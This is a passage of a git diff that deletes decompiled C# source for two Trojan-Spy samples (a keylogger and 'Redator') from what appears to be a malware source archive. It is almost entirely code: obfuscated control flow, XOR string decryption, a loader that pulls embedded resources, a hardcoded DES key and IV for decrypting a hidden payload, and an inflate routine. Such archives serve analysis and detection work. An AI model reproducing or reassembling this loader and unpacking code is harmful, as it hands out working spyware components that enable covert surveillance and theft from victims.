Assembly.Load(A_0, A_1, A_2); - default: - goto label_0; - } - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.qqc-8459fc94f3d58ee15579a5804217b56ce046b6ec56620a3633c9f389d220cbc2/T44.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.qqc-8459fc94f3d58ee15579a5804217b56ce046b6ec56620a3633c9f389d220cbc2/T44.cs deleted file mode 100644 index f4856e21..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.qqc-8459fc94f3d58ee15579a5804217b56ce046b6ec56620a3633c9f389d220cbc2/T44.cs +++ /dev/null @@ -1,451 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: N6.T44 -// Assembly: stub7, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: A1C75A54-DF7D-4296-B346-B1DAFCC940B9 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Spy.MSIL.KeyLogger.qqc-8459fc94f3d58ee15579a5804217b56ce046b6ec56620a3633c9f389d220cbc2.exe - -using System; -using System.IO; -using System.IO.Packaging; -using System.Reflection; -using System.Runtime.InteropServices; - -namespace N6 -{ - internal sealed class T44 - { - private static readonly char[] Ⴐ; - private static readonly char[] Ⴅ = new char[43] - { - char.MinValue, - '(', - char.MinValue, - '㖀', - '\u19CD', - 'Ȗ', - 'ݪ', - 'ᰤ', - '㛖', - 'ℒ', - '㶆', - '㖄', - '\u19CD', - 'Ȕ', - 'ݬ', - '᱒', - '㚨', - 'ℓ', - '㷰', - '㖂', - 'ᦺ', - 'ɡ', - 'ݭ', - '᱔', - '㚭', - 'Ⅷ', - '㶀', - '㗱', - 'ᦺ', - 'Ȝ', - 'ݬ', - 'ᰤ', - '㚯', - 'Ⅴ', - '㶃', - '㖂', - '\u19CE', - 'ȗ', - 'ݫ', - 'ᰣ', - '㚪', - 'Ⅱ', - '㷷' - }; - private static readonly string[] Ⴓ; - internal static T44.T46 Ⴜ; - - static T44() - { - char[] chArray = new char[8] - { - char.MinValue, - char.MinValue, - char.MinValue, - char.MinValue, - char.MinValue, - '㛮', - char.MinValue, - char.MinValue - }; - chArray[2] = 'ȥ'; - chArray[3] = 'ݘ'; - chArray[4] = 'ᰐ'; - chArray[1] = '᧹'; - chArray[7] = '㷅'; - chArray[0] = '㖴'; - chArray[6] = '\u2151'; - T44.Ⴓ = new string[1]; - T44.Ⴐ = chArray; - T40.T41.M195(); - } - - internal static PackagePart M205(Package A_0, Uri A_1, int A_2, int A_3) - { -label_3: - int num1; - switch (A_3 ^ A_2) - { - case 3: - num1 = 1; - break; - default: - num1 = 3; - break; - } - int num2 = num1; - while (true) - { - switch (num2) - { - case 1: - case 6: - goto label_8; - case 3: - num2 = 5; - continue; - case 5: - goto label_3; - case 7: - num2 = 5; - continue; - default: - // ISSUE: method reference - RuntimeMethodHandle runtimeMethodHandle = __methodref (T44.M205); - num2 = 5; - continue; - } - } -label_8: - return A_0.GetPart(A_1); - } - - internal static Stream M206(PackagePart A_0, int A_1, int A_2) - { -label_3: - int num1; - switch (A_2 ^ A_1) - { - case 32: - num1 = 6; - break; - default: - num1 = 0; - break; - } - int num2 = num1; - while (true) - { - switch (num2) - { - case 0: - case 1: - num2 = 7; - continue; - case 2: - case 4: - num2 = 7; - continue; - case 6: - goto label_8; - case 7: - goto label_3; - default: - // ISSUE: method reference - RuntimeMethodHandle runtimeMethodHandle = __methodref (T44.M206); - num2 = 7; - continue; - } - } -label_8: - return A_0.GetStream(); - } - - internal static string M207(MemberInfo A_0, int A_1, int A_2) - { -label_3: - int num1; - switch (A_2 ^ A_1) - { - case 41: - num1 = 1; - break; - default: - num1 = 3; - break; - } - int num2 = num1; - while (true) - { - switch (num2) - { - case 1: - case 7: - goto label_8; - case 2: - case 4: - num2 = 6; - continue; - case 3: - num2 = 6; - continue; - case 6: - goto label_3; - default: - // ISSUE: method reference - RuntimeMethodHandle runtimeMethodHandle = __methodref (T44.M207); - num2 = 6; - continue; - } - } -label_8: - return A_0.Name; - } - - internal static string M208(int A_0, int A_1) - { - int index1 = A_0 ^ 1305315787 ^ A_1; - char[] ⴅ = T44.Ⴅ; - int index2 = (int) ⴅ[index1]; - string str1; - if ((str1 = T44.Ⴓ[index2]) != null) - return str1; - int num1 = (int) ⴅ[index1 + 1]; - int length1 = ((int) ⴅ[index1 + 2] << 16) + num1; - char[] chArray = new char[length1]; - char[] ⴐ = T44.Ⴐ; - int length2 = ⴐ.Length; - int num2 = index1 + 3; - for (int index3 = 0; index3 < length1; index3 = 1 + index3) - chArray[index3] = (char) ((uint) ⴅ[num2 + index3] ^ (uint) ⴐ[(index3 + index2) % length2]); - string str2 = new string(chArray); - T44.Ⴓ[index2] = str2; - return str2; - } - - internal sealed class T45 - { - internal static Assembly M209(Type A_0, int A_1, int A_2) - { -label_3: - int num1; - switch (A_2 ^ A_1) - { - case 93: - num1 = 7; - break; - default: - num1 = 5; - break; - } - int num2 = num1; - while (true) - { - switch (num2) - { - case 0: - case 5: - num2 = 1; - continue; - case 1: - goto label_3; - case 3: - case 7: - goto label_8; - case 4: - case 6: - num2 = 1; - continue; - default: - // ISSUE: method reference - RuntimeMethodHandle runtimeMethodHandle = __methodref (T44.T45.M209); - num2 = 1; - continue; - } - } -label_8: - return A_0.Assembly; - } - - internal static Stream M210(Assembly A_0, string A_1, int A_2, int A_3) - { -label_3: - int num1; - switch (A_3 ^ A_2) - { - case 14: - num1 = 6; - break; - default: - num1 = 0; - break; - } - int num2 = num1; - while (true) - { - switch (num2) - { - case 0: - num2 = 5; - continue; - case 2: - case 3: - num2 = 5; - continue; - case 5: - goto label_3; - case 6: - case 7: - goto label_8; - default: - // ISSUE: method reference - RuntimeMethodHandle runtimeMethodHandle = __methodref (T44.T45.M210); - num2 = 5; - continue; - } - } -label_8: - return A_0.GetManifestResourceStream(A_1); - } - - internal static Package M211( - Stream A_0, - FileMode A_1, - FileAccess A_2, - int A_3, - int A_4) - { -label_3: - int num1; - switch (A_4 ^ A_3) - { - case 83: - num1 = 1; - break; - default: - num1 = 5; - break; - } - int num2 = num1; - while (true) - { - switch (num2) - { - case 0: - case 2: - case 4: - num2 = 6; - continue; - case 1: - case 7: - goto label_8; - case 5: - num2 = 6; - continue; - case 6: - goto label_3; - default: - // ISSUE: method reference - RuntimeMethodHandle runtimeMethodHandle = __methodref (T44.T45.M211); - num2 = 6; - continue; - } - } -label_8: - return Package.Open(A_0, A_1, A_2); - } - - internal static MethodInfo M212(Assembly A_0, int A_1, int A_2) - { -label_3: - int num1; - switch (A_2 ^ A_1) - { - case 43: - num1 = 6; - break; - default: - num1 = 2; - break; - } - int num2 = num1; - while (true) - { - switch (num2) - { - case 0: - case 2: - num2 = 7; - continue; - case 1: - case 3: - num2 = 7; - continue; - case 6: - goto label_8; - case 7: - goto label_3; - default: - // ISSUE: method reference - RuntimeMethodHandle runtimeMethodHandle = __methodref (T44.T45.M212); - num2 = 7; - continue; - } - } -label_8: - return A_0.EntryPoint; - } - - internal static Stream M213(Assembly A_0, string A_1, int A_2, int A_3) - { -label_0: - switch ((A_3 ^ A_2) - 85) - { - case 0: - return A_0.GetManifestResourceStream(A_1); - default: - goto label_0; - } - } - - internal static void M214(Stream A_0, byte[] A_1, int A_2, int A_3, int A_4, int A_5) - { -label_0: - switch ((A_5 ^ A_4) - 74) - { - case 0: - A_0.Write(A_1, A_2, A_3); - break; - default: - goto label_0; - } - } - - internal static byte[] M215(MemoryStream A_0, int A_1, int A_2) - { -label_0: - switch ((A_2 ^ A_1) - 84) - { - case 0: - return A_0.ToArray(); - default: - goto label_0; - } - } - } - - [StructLayout(LayoutKind.Explicit, Size = 86, Pack = 1)] - private struct T46 - { - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.qqc-8459fc94f3d58ee15579a5804217b56ce046b6ec56620a3633c9f389d220cbc2/Trojan-Spy.MSIL.KeyLogger.qqc.csproj b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.qqc-8459fc94f3d58ee15579a5804217b56ce046b6ec56620a3633c9f389d220cbc2/Trojan-Spy.MSIL.KeyLogger.qqc.csproj deleted file mode 100644 index 40ffaa66..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.qqc-8459fc94f3d58ee15579a5804217b56ce046b6ec56620a3633c9f389d220cbc2/Trojan-Spy.MSIL.KeyLogger.qqc.csproj +++ /dev/null @@ -1,47 +0,0 @@ - - - - - Debug - AnyCPU - {DB9A782F-5E9E-4DDE-A119-C05165841C7B} - WinExe - stub7 - 1.0.0.0 - N6 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.qqc-8459fc94f3d58ee15579a5804217b56ce046b6ec56620a3633c9f389d220cbc2/Trojan-Spy.MSIL.KeyLogger.qqc.sln b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.qqc-8459fc94f3d58ee15579a5804217b56ce046b6ec56620a3633c9f389d220cbc2/Trojan-Spy.MSIL.KeyLogger.qqc.sln deleted file mode 100644 index 56427b12..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.qqc-8459fc94f3d58ee15579a5804217b56ce046b6ec56620a3633c9f389d220cbc2/Trojan-Spy.MSIL.KeyLogger.qqc.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "stub7", "Trojan-Spy.MSIL.KeyLogger.qqc-8459fc94f3d58ee15579a5804217b56ce046b6ec56620a3633c9f389d220cbc2.csproj", "{DB9A782F-5E9E-4DDE-A119-C05165841C7B}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {DB9A782F-5E9E-4DDE-A119-C05165841C7B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {DB9A782F-5E9E-4DDE-A119-C05165841C7B}.Debug|Any CPU.Build.0 = Debug|Any CPU - {DB9A782F-5E9E-4DDE-A119-C05165841C7B}.Release|Any CPU.ActiveCfg = Release|Any CPU - {DB9A782F-5E9E-4DDE-A119-C05165841C7B}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.qqc-8459fc94f3d58ee15579a5804217b56ce046b6ec56620a3633c9f389d220cbc2/_003CModule_003E.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.qqc-8459fc94f3d58ee15579a5804217b56ce046b6ec56620a3633c9f389d220cbc2/_003CModule_003E.cs deleted file mode 100644 index bc7c3d67..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.qqc-8459fc94f3d58ee15579a5804217b56ce046b6ec56620a3633c9f389d220cbc2/_003CModule_003E.cs +++ /dev/null @@ -1,12 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: -// Assembly: stub7, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: A1C75A54-DF7D-4296-B346-B1DAFCC940B9 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Spy.MSIL.KeyLogger.qqc-8459fc94f3d58ee15579a5804217b56ce046b6ec56620a3633c9f389d220cbc2.exe - -using N6; - -internal sealed class \u003CModule\u003E -{ - static \u003CModule\u003E() => T40.T41.M195(); -} diff --git a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/AssemblyInfo.cs b/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/AssemblyInfo.cs deleted file mode 100644 index 5f6cdccb..00000000 --- a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/AssemblyInfo.cs +++ /dev/null @@ -1,8 +0,0 @@ -using SmartAssembly.Attributes; -using System.Reflection; -using System.Runtime.InteropServices; - -[assembly: Guid("ad39d0c0-1d24-40c4-beb1-2e699594e1fc")] -[assembly: PoweredBy("Powered by {smartassembly}")] -[assembly: AssemblyFileVersion("2.1.1.1")] -[assembly: AssemblyVersion("2.1.1.1")] diff --git a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/SmartAssembly/Attributes/PoweredByAttribute.cs b/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/SmartAssembly/Attributes/PoweredByAttribute.cs deleted file mode 100644 index 86cdaec0..00000000 --- a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/SmartAssembly/Attributes/PoweredByAttribute.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SmartAssembly.Attributes.PoweredByAttribute -// Assembly: Stub, Version=2.1.1.1, Culture=neutral, PublicKeyToken=null -// MVID: EC6FBD32-3576-4D40-B4A5-7808EA9CDA7F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f.exe - -using System; - -namespace SmartAssembly.Attributes -{ - public sealed class PoweredByAttribute : Attribute - { - public PoweredByAttribute(string s) - { - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/Trojan-Spy.MSIL.Redator.a.csproj b/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/Trojan-Spy.MSIL.Redator.a.csproj deleted file mode 100644 index 54f76180..00000000 --- a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/Trojan-Spy.MSIL.Redator.a.csproj +++ /dev/null @@ -1,68 +0,0 @@ - - - - - Debug - AnyCPU - {B92643FF-CAA5-40A9-9A61-4B4DEF39B057} - WinExe - Stub - 2.1.1.1 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/Trojan-Spy.MSIL.Redator.a.sln b/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/Trojan-Spy.MSIL.Redator.a.sln deleted file mode 100644 index 9f646758..00000000 --- a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/Trojan-Spy.MSIL.Redator.a.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Stub", "Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f.csproj", "{B92643FF-CAA5-40A9-9A61-4B4DEF39B057}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {B92643FF-CAA5-40A9-9A61-4B4DEF39B057}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {B92643FF-CAA5-40A9-9A61-4B4DEF39B057}.Debug|Any CPU.Build.0 = Debug|Any CPU - {B92643FF-CAA5-40A9-9A61-4B4DEF39B057}.Release|Any CPU.ActiveCfg = Release|Any CPU - {B92643FF-CAA5-40A9-9A61-4B4DEF39B057}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/_0001/_0001.cs b/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/_0001/_0001.cs deleted file mode 100644 index de67e38d..00000000 --- a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/_0001/_0001.cs +++ /dev/null @@ -1,109 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: Stub, Version=2.1.1.1, Culture=neutral, PublicKeyToken=null -// MVID: EC6FBD32-3576-4D40-B4A5-7808EA9CDA7F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f.exe - -using System; -using System.Collections; -using System.IO; -using System.Reflection; -using System.Runtime.InteropServices; -using System.Text; - -namespace \u0001 -{ - internal sealed class \u0001 - { - private static string \u0001 = "1"; - private static string \u0002 = "145"; - private static byte[] \u0001 = (byte[]) null; - private static Hashtable \u0001 = (Hashtable) null; - private static bool \u0001 = false; - private static int \u0001 = 0; - - public static string \u0003([In] int obj0) - { - obj0 -= \u0001.\u0001.\u0001; - if (\u0001.\u0001.\u0001) - { - string str = (string) \u0001.\u0001.\u0001[(object) obj0]; - if (str != null) - return str; - } - int num1 = obj0; - byte[] numArray1 = \u0001.\u0001.\u0001; - int index1 = num1; - int index2 = index1 + 1; - int num2 = (int) numArray1[index1]; - int count; - if ((num2 & 128) == 0) - { - count = num2; - if (count == 0) - return string.Empty; - } - else if ((num2 & 64) == 0) - { - count = ((num2 & 63) << 8) + (int) \u0001.\u0001.\u0001[index2++]; - } - else - { - int num3 = (num2 & 31) << 24; - byte[] numArray2 = \u0001.\u0001.\u0001; - int index3 = index2; - int num4 = index3 + 1; - int num5 = (int) numArray2[index3] << 16; - int num6 = num3 + num5; - byte[] numArray3 = \u0001.\u0001.\u0001; - int index4 = num4; - int num7 = index4 + 1; - int num8 = (int) numArray3[index4] << 8; - int num9 = num6 + num8; - byte[] numArray4 = \u0001.\u0001.\u0001; - int index5 = num7; - index2 = index5 + 1; - int num10 = (int) numArray4[index5]; - count = num9 + num10; - } - try - { - byte[] bytes = Convert.FromBase64String(Encoding.UTF8.GetString(\u0001.\u0001.\u0001, index2, count)); - string str = string.Intern(Encoding.UTF8.GetString(bytes, 0, bytes.Length)); - if (\u0001.\u0001.\u0001) - { - try - { - \u0001.\u0001.\u0001.Add((object) obj0, (object) str); - } - catch - { - } - } - return str; - } - catch - { - return (string) null; - } - } - - static \u0001() - { - if (\u0001.\u0001.\u0001 == "1") - { - \u0001.\u0001.\u0001 = true; - \u0001.\u0001.\u0001 = new Hashtable(); - } - \u0001.\u0001.\u0001 = Convert.ToInt32(\u0001.\u0001.\u0002); - using (Stream manifestResourceStream = Assembly.GetExecutingAssembly().GetManifestResourceStream("{ec6fbd32-3576-4d40-b4a5-7808ea9cda7f}")) - { - int int32 = Convert.ToInt32(manifestResourceStream.Length); - byte[] buffer = new byte[int32]; - manifestResourceStream.Read(buffer, 0, int32); - \u0001.\u0001.\u0001 = \u0002.\u0001.\u0003(buffer); - manifestResourceStream.Close(); - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/_0001/_0002.cs b/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/_0001/_0002.cs deleted file mode 100644 index 25bbdf3c..00000000 --- a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/_0001/_0002.cs +++ /dev/null @@ -1,25 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: Stub, Version=2.1.1.1, Culture=neutral, PublicKeyToken=null -// MVID: EC6FBD32-3576-4D40-B4A5-7808EA9CDA7F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f.exe - -using \u0001; -using System; - -namespace \u0001 -{ - internal class \u0002 - { - public static void \u0003() - { - try - { - \u0003.\u0003(); - } - catch (Exception ex) - { - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/_0001/_0003.cs b/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/_0001/_0003.cs deleted file mode 100644 index 3aeba59f..00000000 --- a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/_0001/_0003.cs +++ /dev/null @@ -1,50 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: Stub, Version=2.1.1.1, Culture=neutral, PublicKeyToken=null -// MVID: EC6FBD32-3576-4D40-B4A5-7808EA9CDA7F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f.exe - -using \u0001; -using System; -using System.Reflection; -using System.Runtime.InteropServices; - -namespace \u0001 -{ - internal class \u0003 - { - private static Assembly \u0001 = (Assembly) null; - private static string[] \u0001 = new string[0]; - - internal static void \u0003() - { - try - { - AppDomain.CurrentDomain.ResourceResolve += new ResolveEventHandler(\u0003.\u0003); - } - catch (Exception ex) - { - } - } - - internal static Assembly \u0003([In] object obj0, [In] ResolveEventArgs obj1) - { - if ((object) \u0003.\u0001 == null) - { - lock (\u0003.\u0001) - { - \u0003.\u0001 = Assembly.Load(\u0001.\u0001.\u0003(151)); - if ((object) \u0003.\u0001 != null) - \u0003.\u0001 = \u0003.\u0001.GetManifestResourceNames(); - } - } - string name = obj1.Name; - for (int index = 0; index < \u0003.\u0001.Length; ++index) - { - if (\u0003.\u0001[index] == name) - return \u0003.\u0001; - } - return (Assembly) null; - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/_0002/_0001.cs b/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/_0002/_0001.cs deleted file mode 100644 index 540ffe03..00000000 --- a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/_0002/_0001.cs +++ /dev/null @@ -1,1013 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: Stub, Version=2.1.1.1, Culture=neutral, PublicKeyToken=null -// MVID: EC6FBD32-3576-4D40-B4A5-7808EA9CDA7F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f.exe - -using \u0002; -using System; -using System.IO; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Security.Cryptography; - -namespace \u0002 -{ - internal sealed class \u0001 - { - public static byte[] \u0003([In] byte[] obj0) - { - \u0001.\u0007 obj1 = new \u0001.\u0007(obj0); - byte[] numArray1 = new byte[0]; - int num1 = obj1.\u0004(); - if (num1 == 67324752) - { - short num2 = (short) obj1.\u0003(); - int num3 = obj1.\u0003(); - int num4 = obj1.\u0003(); - if (num1 != 67324752 || num2 != (short) 20 || num3 != 0 || num4 != 8) - throw new FormatException("Wrong Header Signature"); - obj1.\u0004(); - obj1.\u0004(); - obj1.\u0004(); - int length = obj1.\u0004(); - int count1 = obj1.\u0003(); - int count2 = obj1.\u0003(); - if (count1 > 0) - { - byte[] buffer = new byte[count1]; - obj1.Read(buffer, 0, count1); - } - if (count2 > 0) - { - byte[] buffer = new byte[count2]; - obj1.Read(buffer, 0, count2); - } - byte[] buffer1 = new byte[obj1.Length - obj1.Position]; - obj1.Read(buffer1, 0, buffer1.Length); - \u0001.\u0001 obj2 = new \u0001.\u0001(buffer1); - numArray1 = new byte[length]; - obj2.\u0003(numArray1, 0, numArray1.Length); - } - else - { - int num5 = num1 >> 24; - if (num1 - (num5 << 24) != 8223355) - throw new FormatException("Unknown Header"); - if (num5 == 1) - { - int length1 = obj1.\u0004(); - numArray1 = new byte[length1]; - int num6; - for (int index = 0; index < length1; index += num6) - { - int length2 = obj1.\u0004(); - num6 = obj1.\u0004(); - byte[] buffer = new byte[length2]; - obj1.Read(buffer, 0, buffer.Length); - new \u0001.\u0001(buffer).\u0003(numArray1, index, num6); - } - } - if (num5 == 2) - { - DESCryptoServiceProvider cryptoServiceProvider = new DESCryptoServiceProvider(); - cryptoServiceProvider.Key = new byte[8] - { - (byte) 16, - (byte) 114, - (byte) 148, - (byte) 6, - (byte) 43, - (byte) 5, - (byte) 62, - (byte) 84 - }; - cryptoServiceProvider.IV = new byte[8] - { - (byte) 8, - (byte) 236, - (byte) 213, - (byte) 110, - (byte) 137, - (byte) 40, - (byte) 208, - (byte) 2 - }; - byte[] numArray2 = cryptoServiceProvider.CreateDecryptor().TransformFinalBlock(obj0, 4, obj0.Length - 4); - cryptoServiceProvider.Clear(); - numArray1 = \u0001.\u0003(numArray2); - } - } - obj1.Close(); - return numArray1; - } - - internal sealed class \u0001 - { - private static int[] \u0001 = new int[29] - { - 3, - 4, - 5, - 6, - 7, - 8, - 9, - 10, - 11, - 13, - 15, - 17, - 19, - 23, - 27, - 31, - 35, - 43, - 51, - 59, - 67, - 83, - 99, - 115, - 131, - 163, - 195, - 227, - 258 - }; - private static int[] \u0002 = new int[29] - { - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 1, - 1, - 1, - 1, - 2, - 2, - 2, - 2, - 3, - 3, - 3, - 3, - 4, - 4, - 4, - 4, - 5, - 5, - 5, - 5, - 0 - }; - private static int[] \u0003 = new int[30] - { - 1, - 2, - 3, - 4, - 5, - 7, - 9, - 13, - 17, - 25, - 33, - 49, - 65, - 97, - 129, - 193, - 257, - 385, - 513, - 769, - 1025, - 1537, - 2049, - 3073, - 4097, - 6145, - 8193, - 12289, - 16385, - 24577 - }; - private static int[] \u0004 = new int[30] - { - 0, - 0, - 0, - 0, - 1, - 1, - 2, - 2, - 3, - 3, - 4, - 4, - 5, - 5, - 6, - 6, - 7, - 7, - 8, - 8, - 9, - 9, - 10, - 10, - 11, - 11, - 12, - 12, - 13, - 13 - }; - private int \u0001; - private int \u0002; - private int \u0003; - private int \u0004; - private int \u0005; - private bool \u0001; - private \u0001.\u0002 \u0001; - private \u0001.\u0003 \u0001; - private \u0001.\u0005 \u0001; - private \u0001.\u0004 \u0001; - private \u0001.\u0004 \u0002; - - public \u0001([In] byte[] obj0) - { - this.\u0001 = new \u0001.\u0002(); - this.\u0001 = new \u0001.\u0003(); - this.\u0001 = 2; - this.\u0001.\u0003(obj0, 0, obj0.Length); - } - - private bool \u0003() - { - int num1 = this.\u0001.\u0003(); - while (num1 >= 258) - { - switch (this.\u0001) - { - case 7: - int num2; - while (((num2 = this.\u0001.\u0003(this.\u0001)) & -256) == 0) - { - this.\u0001.\u0003(num2); - if (--num1 < 258) - return true; - } - if (num2 < 257) - { - if (num2 < 0) - return false; - this.\u0002 = (\u0001.\u0004) null; - this.\u0001 = (\u0001.\u0004) null; - this.\u0001 = 2; - return true; - } - this.\u0003 = \u0001.\u0001.\u0001[num2 - 257]; - this.\u0002 = \u0001.\u0001.\u0002[num2 - 257]; - goto case 8; - case 8: - if (this.\u0002 > 0) - { - this.\u0001 = 8; - int num3 = this.\u0001.\u0003(this.\u0002); - if (num3 < 0) - return false; - 